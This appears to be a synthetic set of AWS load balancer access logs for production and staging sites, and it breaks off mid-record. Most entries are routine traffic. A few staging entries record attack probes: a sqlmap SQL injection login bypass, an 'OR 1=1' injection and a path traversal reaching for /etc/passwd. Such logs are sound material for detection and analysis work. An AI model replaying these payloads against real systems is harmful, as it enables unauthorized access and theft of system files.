"-" "-" "10.0.167.82:443" "301" "-" "-" +http 2024-11-01T02:39:34.215996Z staging-alb 189.18.190.218:52062 155.1.180.22:8080 0.057609 0.695256 0.112900 200 200 571 8339 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcf6-70e74f46a4a941b9b77ed7f0" "staging-alb.example.com" "-" 6 2024-11-01T02:39:34.215996Z "forward" "-" "-" "155.1.180.22:8080" "200" "-" "-" +https 2024-11-01T02:39:35.400140Z prod-api-alb 85.139.148.170:33273 10.0.91.102:443 0.009999 0.194930 0.069549 301 301 865 10087 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcf7-8f4c53a3873341a2a1c0bf09" "prod-api-alb.example.com" "-" 8 2024-11-01T02:39:35.400140Z "forward" "-" "-" "10.0.91.102:443" "301" "-" "-" +https 2024-11-01T02:39:37.029719Z prod-web-alb 59.38.28.79:64378 10.0.194.38:443 0.056378 0.231810 0.068544 301 301 23 13518 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcf9-756a8fe7d08b4c378918bcdc" "prod-web-alb.example.com" "-" 0 2024-11-01T02:39:37.029719Z "forward" "-" "-" "10.0.194.38:443" "301" "-" "-" +https 2024-11-01T02:39:37.723361Z prod-api-alb 47.232.246.161:53378 10.0.95.18:443 0.096808 0.239456 0.023296 302 302 793 609 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcf9-5e7c89d2e3da4ca49a0aa8a6" "prod-api-alb.example.com" "-" 10 2024-11-01T02:39:37.723361Z "forward" "-" "-" "10.0.95.18:443" "302" "-" "-" +https 2024-11-01T02:39:38.173888Z staging-alb 170.3.151.92:34815 94.196.247.71:443 0.132768 0.643474 0.011510 200 200 610 345 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcfa-1cbfdf2698ec49e9b6b1e797" "staging-alb.example.com" "-" 10 2024-11-01T02:39:38.173888Z "forward" "-" "-" "94.196.247.71:443" "200" "-" "-" +http 2024-11-01T02:39:39.824130Z staging-alb 23.254.134.166:53491 60.62.69.145:443 0.109535 0.006073 0.141100 200 200 922 2515 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcfb-e7f1702a68854fa8b3640488" "staging-alb.example.com" "-" 3 2024-11-01T02:39:39.824130Z "forward" "-" "-" "60.62.69.145:443" "200" "-" "-" +https 2024-11-01T02:39:41.224045Z prod-web-alb 66.44.253.215:41879 10.0.167.226:443 0.022867 0.222075 0.002918 301 301 136 13754 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcfd-f668589933344130848c23a1" "prod-web-alb.example.com" "-" 10 2024-11-01T02:39:41.224045Z "forward" "-" "-" "10.0.167.226:443" "301" "-" "-" +http 2024-11-01T02:39:42.125058Z staging-alb 95.97.114.215:18373 135.248.125.16:443 0.014476 0.336526 0.083564 200 200 248 12590 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcfe-2826a36cb0e740859116311a" "staging-alb.example.com" "-" 1 2024-11-01T02:39:42.125058Z "forward" "-" "-" "135.248.125.16:443" "200" "-" "-" +https 2024-11-01T02:39:42.562827Z prod-web-alb 222.139.205.143:36158 10.0.128.108:443 0.086428 0.019650 0.024363 301 301 434 14936 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcfe-75748e0c502f4eaaa3242ba0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:39:42.562827Z "forward" "-" "-" "10.0.128.108:443" "301" "-" "-" +https 2024-11-01T02:39:44.191715Z prod-web-alb 142.128.18.77:58649 10.0.255.76:443 0.054548 0.493570 0.004626 301 301 974 14326 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd00-0c181fe424254366be0618fc" "prod-web-alb.example.com" "-" 6 2024-11-01T02:39:44.191715Z "forward" "-" "-" "10.0.255.76:443" "301" "-" "-" +https 2024-11-01T02:39:44.392759Z prod-api-alb 154.143.64.18:18347 10.0.134.62:443 0.073951 0.067632 0.084559 200 200 156 11462 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd00-a804efcf838e4e21a0d05808" "prod-api-alb.example.com" "-" 10 2024-11-01T02:39:44.392759Z "forward" "-" "-" "10.0.134.62:443" "200" "-" "-" +https 2024-11-01T02:39:45.179415Z prod-web-alb 167.79.190.12:60241 10.0.158.64:443 0.027583 0.099387 0.004510 301 301 565 8881 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd01-9fbe7054bb0d432a805ce50d" "prod-web-alb.example.com" "-" 8 2024-11-01T02:39:45.179415Z "forward" "-" "-" "10.0.158.64:443" "301" "-" "-" +https 2024-11-01T02:39:45.417217Z prod-web-alb 89.84.84.72:60288 10.0.184.167:443 0.030551 0.069438 0.098334 200 200 319 10011 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd01-7c9251fb1e1d4ce48371665e" "prod-web-alb.example.com" "-" 10 2024-11-01T02:39:45.417217Z "forward" "-" "-" "10.0.184.167:443" "200" "-" "-" +https 2024-11-01T02:39:45.856784Z staging-alb 193.27.228.54:63305 41.199.99.11:443 0.010254 0.532778 0.146415 500 500 511 11065 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd01-4793f2a98389423cb562e841" "-" "-" 2 2024-11-01T02:39:45.856784Z "forward" "-" "-" "41.199.99.11:443" "500" "-" "-" +http 2024-11-01T02:39:46.087848Z staging-alb 203.109.150.252:18639 232.154.111.152:8080 0.019465 0.586531 0.089350 200 200 437 10581 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd02-ca824e73c1674265a3c6c411" "staging-alb.example.com" "-" 6 2024-11-01T02:39:46.087848Z "forward" "-" "-" "232.154.111.152:8080" "200" "-" "-" +https 2024-11-01T02:39:47.913083Z prod-web-alb 157.133.111.195:20855 10.0.169.29:443 0.093853 0.138764 0.039862 200 200 890 4435 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd03-181627d4577949b0bfea20a7" "prod-web-alb.example.com" "-" 10 2024-11-01T02:39:47.913083Z "forward" "-" "-" "10.0.169.29:443" "200" "-" "-" +https 2024-11-01T02:39:49.889703Z prod-api-alb 245.102.14.142:51180 10.0.226.2:443 0.066213 0.306514 0.028561 404 404 775 1724 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd05-29b8de15ba9f4f31a359e328" "prod-api-alb.example.com" "-" 0 2024-11-01T02:39:49.889703Z "forward" "-" "-" "10.0.226.2:443" "404" "-" "-" +http 2024-11-01T02:39:50.868059Z staging-alb 193.27.228.135:53087 84.12.232.201:80 0.020292 0.175275 0.147043 403 403 428 1656 "GET /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd06-7f01adb7922949ceb0a811bf" "-" "-" 5 2024-11-01T02:39:50.868059Z "forward" "-" "-" "84.12.232.201:80" "403" "-" "-" +https 2024-11-01T02:39:51.324982Z prod-web-alb 202.151.133.156:26275 10.0.170.145:443 0.043804 0.259695 0.098771 200 200 953 1619 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd07-c780cdc0e11a42f7949fec99" "prod-web-alb.example.com" "-" 7 2024-11-01T02:39:51.324982Z "forward" "-" "-" "10.0.170.145:443" "200" "-" "-" +https 2024-11-01T02:39:52.790997Z prod-api-alb 218.148.11.240:20430 10.0.49.228:443 0.077025 0.225655 0.028681 200 200 258 8440 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd08-7ac9fab7809f4ea288add28a" "prod-api-alb.example.com" "-" 8 2024-11-01T02:39:52.790997Z "forward" "-" "-" "10.0.49.228:443" "200" "-" "-" +https 2024-11-01T02:39:52.941064Z prod-api-alb 192.241.122.70:55945 10.0.74.217:443 0.077556 0.357979 0.088687 200 200 175 11103 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd08-fc0157178de44849ac6b98d0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:39:52.941064Z "forward" "-" "-" "10.0.74.217:443" "200" "-" "-" +https 2024-11-01T02:39:53.917896Z prod-web-alb 186.102.225.201:16736 10.0.150.136:443 0.067849 0.119891 0.072874 301 301 584 4055 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd09-f4187de44cbb47f3828fc90d" "prod-web-alb.example.com" "-" 8 2024-11-01T02:39:53.917896Z "forward" "-" "-" "10.0.150.136:443" "301" "-" "-" +https 2024-11-01T02:39:55.691632Z prod-api-alb 97.211.183.143:57544 10.0.42.148:443 0.070559 0.432640 0.001580 302 302 227 4366 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd0b-35bdab11f4874e27b6965010" "prod-api-alb.example.com" "-" 2 2024-11-01T02:39:55.691632Z "forward" "-" "-" "10.0.42.148:443" "302" "-" "-" +https 2024-11-01T02:39:56.501603Z prod-api-alb 119.32.12.56:25453 10.0.130.234:443 0.019873 0.077201 0.026665 301 301 579 6376 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd0c-7b17eaadde46499387ac485f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:39:56.501603Z "forward" "-" "-" "10.0.130.234:443" "301" "-" "-" +http 2024-11-01T02:39:58.421727Z staging-alb 244.215.233.30:19730 214.3.180.210:8080 0.123943 0.195187 0.031380 200 200 181 2951 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd0e-078812e628e84ee8b2f58ab5" "staging-alb.example.com" "-" 6 2024-11-01T02:39:58.421727Z "forward" "-" "-" "214.3.180.210:8080" "200" "-" "-" +https 2024-11-01T02:39:59.506143Z prod-web-alb 68.7.33.167:34201 10.0.99.194:443 0.077109 0.162088 0.056920 301 301 25 11226 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd0f-9fb3cef9a71647debd046149" "prod-web-alb.example.com" "-" 6 2024-11-01T02:39:59.506143Z "forward" "-" "-" "10.0.99.194:443" "301" "-" "-" +https 2024-11-01T02:40:00.402677Z prod-web-alb 242.85.80.162:60552 10.0.210.46:443 0.028429 0.357667 0.026531 200 200 146 12494 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd10-fe61db8dca784b25ba6fc686" "prod-web-alb.example.com" "-" 9 2024-11-01T02:40:00.402677Z "forward" "-" "-" "10.0.210.46:443" "200" "-" "-" +https 2024-11-01T02:40:00.873018Z prod-api-alb 0.222.42.92:58510 10.0.173.142:443 0.038730 0.261047 0.002049 200 200 260 1202 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd10-16abc726b8784f739771160c" "prod-api-alb.example.com" "-" 2 2024-11-01T02:40:00.873018Z "forward" "-" "-" "10.0.173.142:443" "200" "-" "-" +https 2024-11-01T02:40:01.077225Z prod-api-alb 147.96.91.126:56374 10.0.250.255:443 0.082010 0.104850 0.009358 301 301 848 5430 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd11-489f06f193b945b39072c9e4" "prod-api-alb.example.com" "-" 6 2024-11-01T02:40:01.077225Z "forward" "-" "-" "10.0.250.255:443" "301" "-" "-" +https 2024-11-01T02:40:01.515520Z prod-api-alb 140.168.52.172:54394 10.0.232.64:443 0.002636 0.112387 0.041847 200 200 186 9803 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd11-ce9bcca36ef544fbb1124eff" "prod-api-alb.example.com" "-" 10 2024-11-01T02:40:01.515520Z "forward" "-" "-" "10.0.232.64:443" "200" "-" "-" +https 2024-11-01T02:40:03.495244Z staging-alb 87.221.7.207:25038 166.44.186.192:443 0.073460 0.706556 0.002826 200 200 716 6317 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd13-05031c94a080404fba0d8468" "-" "-" 7 2024-11-01T02:40:03.495244Z "forward" "-" "-" "166.44.186.192:443" "200" "-" "-" +https 2024-11-01T02:40:05.306999Z staging-alb 163.82.231.180:32342 125.71.177.123:443 0.077302 0.512743 0.057276 200 200 781 10827 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd15-9e09e044165d43e3a68a481f" "staging-alb.example.com" "-" 9 2024-11-01T02:40:05.306999Z "forward" "-" "-" "125.71.177.123:443" "200" "-" "-" +https 2024-11-01T02:40:05.944559Z prod-api-alb 159.241.102.114:55930 10.0.12.215:443 0.017737 0.196682 0.052560 200 200 943 12200 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd15-5acf1febcf114ae29e53f2c2" "-" "-" 5 2024-11-01T02:40:05.944559Z "forward" "-" "-" "10.0.12.215:443" "200" "-" "-" +https 2024-11-01T02:40:07.766555Z staging-alb 133.197.232.95:43748 28.167.199.42:443 0.068108 0.440618 0.076044 302 302 52 1668 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd17-eb64d3cad86543d7b51304f6" "staging-alb.example.com" "-" 7 2024-11-01T02:40:07.766555Z "forward" "-" "-" "28.167.199.42:443" "302" "-" "-" +https 2024-11-01T02:40:09.416353Z staging-alb 141.58.249.54:14220 61.47.49.251:443 0.092491 0.685683 0.097732 302 302 124 12402 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd19-e8f1240a6bb94bf59d0fe71f" "staging-alb.example.com" "-" 4 2024-11-01T02:40:09.416353Z "forward" "-" "-" "61.47.49.251:443" "302" "-" "-" +https 2024-11-01T02:40:09.954179Z staging-alb 202.147.10.157:63943 33.24.135.8:80 0.146405 0.235976 0.068014 302 302 870 14875 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd19-54e10a70db9240ad9b2ec7cf" "staging-alb.example.com" "-" 0 2024-11-01T02:40:09.954179Z "forward" "-" "-" "33.24.135.8:80" "302" "-" "-" +https 2024-11-01T02:40:11.640535Z prod-api-alb 146.222.40.43:59995 10.0.32.109:443 0.099062 0.000419 0.043249 301 301 511 13409 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd1b-ee9048f86c284d56b8b50af0" "prod-api-alb.example.com" "-" 7 2024-11-01T02:40:11.640535Z "forward" "-" "-" "10.0.32.109:443" "301" "-" "-" +https 2024-11-01T02:40:12.492693Z prod-web-alb 160.165.37.29:47895 10.0.114.19:443 0.052746 0.398164 0.026254 200 200 129 4495 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd1c-5257d6fecfe84d6895a4a006" "prod-web-alb.example.com" "-" 2 2024-11-01T02:40:12.492693Z "forward" "-" "-" "10.0.114.19:443" "200" "-" "-" +https 2024-11-01T02:40:14.079771Z staging-alb 237.186.168.178:50116 54.55.11.22:8080 0.051847 0.670120 0.002886 200 200 196 14106 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd1e-0437b7d29b644a2286afe9e0" "staging-alb.example.com" "-" 9 2024-11-01T02:40:14.079771Z "forward" "-" "-" "54.55.11.22:8080" "200" "-" "-" +https 2024-11-01T02:40:15.795370Z prod-web-alb 76.66.181.121:32170 10.0.98.148:443 0.078587 0.146575 0.014483 301 301 193 9905 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd1f-00208d41d4b549c6b49fc6fc" "prod-web-alb.example.com" "-" 9 2024-11-01T02:40:15.795370Z "forward" "-" "-" "10.0.98.148:443" "301" "-" "-" +https 2024-11-01T02:40:16.770297Z prod-api-alb 74.130.116.141:35639 10.0.170.167:443 0.094293 0.172573 0.078015 301 301 781 12654 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd20-e0fa9d2a08c94597b0171dfb" "prod-api-alb.example.com" "-" 6 2024-11-01T02:40:16.770297Z "forward" "-" "-" "10.0.170.167:443" "301" "-" "-" +https 2024-11-01T02:40:18.171606Z prod-api-alb 186.209.88.242:57727 10.0.252.183:443 0.064704 0.201400 0.055616 200 200 162 10546 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd22-ea033d73782741c6b324a361" "prod-api-alb.example.com" "-" 4 2024-11-01T02:40:18.171606Z "forward" "-" "-" "10.0.252.183:443" "200" "-" "-" +https 2024-11-01T02:40:18.620039Z prod-api-alb 191.171.217.253:54005 10.0.184.218:443 0.012598 0.324592 0.056377 200 200 262 10426 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd22-64746a54dadc494b8f642349" "prod-api-alb.example.com" "-" 7 2024-11-01T02:40:18.620039Z "forward" "-" "-" "10.0.184.218:443" "200" "-" "-" +https 2024-11-01T02:40:20.030693Z prod-api-alb 62.227.164.242:64740 10.0.62.89:443 0.087344 0.426174 0.006089 200 200 383 3883 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd24-00a834dd91314176893278d3" "prod-api-alb.example.com" "-" 9 2024-11-01T02:40:20.030693Z "forward" "-" "-" "10.0.62.89:443" "200" "-" "-" +https 2024-11-01T02:40:20.862771Z prod-api-alb 8.162.13.101:49390 10.0.114.198:443 0.096585 0.462221 0.019173 404 404 526 12713 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd24-1181d15570114609ad0cefbc" "prod-api-alb.example.com" "-" 4 2024-11-01T02:40:20.862771Z "forward" "-" "-" "10.0.114.198:443" "404" "-" "-" +https 2024-11-01T02:40:21.510067Z prod-api-alb 70.247.43.6:44770 10.0.25.47:443 0.052364 0.088335 0.010311 200 200 273 5203 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd25-96be7c290d1e4472884c82d1" "prod-api-alb.example.com" "-" 10 2024-11-01T02:40:21.510067Z "forward" "-" "-" "10.0.25.47:443" "200" "-" "-" +http 2024-11-01T02:40:22.412816Z staging-alb 193.27.228.24:57735 63.174.88.214:8080 0.033211 0.744030 0.026951 403 403 55 2248 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd26-21a6b59872c34312a41ee8f2" "-" "-" 10 2024-11-01T02:40:22.412816Z "forward" "-" "-" "63.174.88.214:8080" "403" "-" "-" +https 2024-11-01T02:40:23.915838Z prod-web-alb 42.208.123.77:63261 10.0.114.209:443 0.051099 0.271523 0.063586 302 302 228 3156 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd27-0f498b9c0e7f4d39abf222b9" "prod-web-alb.example.com" "-" 4 2024-11-01T02:40:23.915838Z "forward" "-" "-" "10.0.114.209:443" "302" "-" "-" +https 2024-11-01T02:40:25.475270Z prod-web-alb 91.104.7.167:54418 10.0.132.144:443 0.027021 0.066480 0.041839 404 404 967 3603 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd29-91f27db819354b69a9089b21" "prod-web-alb.example.com" "-" 